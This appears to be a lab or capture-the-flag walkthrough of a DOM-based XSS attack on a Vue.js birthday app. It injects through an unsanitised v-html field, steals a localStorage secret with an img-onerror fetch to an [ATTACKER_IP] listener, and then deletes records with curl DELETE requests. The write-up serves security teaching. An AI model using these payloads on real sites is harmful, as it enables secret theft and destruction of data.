Return to topic cards

Understanding DOM-Based XSS Attack

CybersecurityXSSVue.jsClient-Side AttacksWeb Security

DOM-Based Cross-Site Scripting (XSS) is a type of client-side attack that exploits vulnerabilities in the Document Object Model (DOM) of web applications. This attack is particularly relevant for Single Page Applications (SPAs) built with frameworks like Vue.js.

Key Points

  • Environment Setup: Ensure the target domain resolves locally by adding an entry to your /etc/hosts file.
  • Objective: Delete all birthday records on the website by extracting a secret stored on the client side via XSS.
  • Initial Recon: Use browser dev tools to inspect component files and understand the app's structure.
  • XSS Vulnerability: Identify vulnerable sinks and source fields in the application.
  • Proof of Concept (PoC): Test and verify the XSS vulnerability using safe and working payloads.
  • Exfiltration Attack: Steal the secret stored in localStorage using a crafted payload.
  • Deleting Entries: Use the stolen secret to send DELETE requests and remove birthday records.

Environment Setup

Before starting, ensure the target domain resolves locally by adding an entry to your /etc/hosts file:

sudo echo [TARGET_IP] custom.local >> /etc/hosts

Access the web application at:

http://custom.local:5173/

Objective

Goal: Delete all birthday records on the website.

Challenge: The app is protected by a secret stored on the client side, which needs to be extracted via XSS.

Initial Recon

The app uses Vue.js and functions as a SPA. Viewing the page source yields little; most content is rendered dynamically via JavaScript. Use browser dev tools (Debugger tab) to inspect component files (e.g., Bdays.vue).

XSS Vulnerability

Root Cause

<td><p v-html=bday.person></p></td>
<td>{{ bday.bdate }}</td>
  • v-html = vulnerable sink → unsanitized
  • {{ ... }} = safe sink → sanitized

Source field: person

Vulnerable directive: v-html

Proof of Concept (PoC)

Test Payload (Safe)

<script>console.log('xss')</script>
  • Not executed.

Working Payload

<img src="x" onerror="console.log('xss')">
  • Output appears in the browser dev console.

Exfiltration Attack

Objective: Steal the secret stored in localStorage.

Payload

<img src="x" onerror="setInterval(function() {
  fetch('http://[ATTACKER_IP]:8888?secret=' + encodeURIComponent(localStorage.getItem('secret')))
}, 2000);">

Start a listener:

python3 -m http.server 8888

Submit this payload as the "Person" field in a new birthday entry. Once a legitimate user visits, their browser will leak the secret.

Deleting Entries

Delete Function Logic (Vue)

removeBday(bdayID) {
  var secret = localStorage.getItem('secret');
  const path = `http://custom.local:5001/bdays/${bdayID}?secret=`;
  axios.delete(path + secret)
}

API Structure

  • Backend on port 5001
  • Requires a valid secret
  • Requires known bdayID

Retrieving Birthday IDs

Use Burp Suite or browser dev tools to intercept requests. Identify the request to GET /bdays and extract the id values of all birthday entries.

Example

[
  { "id": "abc123", "person": "...", "bdate": "..." },
  { "id": "def456", "person": "...", "bdate": "..." }
]

Triggering the Deletion

Using curl, send DELETE requests:

curl -X DELETE http://custom.local:5001/bdays/abc123?secret=stolen_secret
curl -X DELETE http://custom.local:5001/bdays/def456?secret=stolen_secret

Summary

StepAction
ReconAnalyze DOM and Vue components
Exploit InjectionInsert malicious payload using v-html sink
Steal SecretUse image tag with JS to extract from localStorage
Discover IDsUse proxy or dev tools to list birthday entry IDs
Delete RecordsSend crafted DELETE requests using stolen secret

Lesson Learned: Never trust client-side rendering for handling sensitive actions or unsanitized inputs — always sanitize output and avoid using v-html unless absolutely necessary.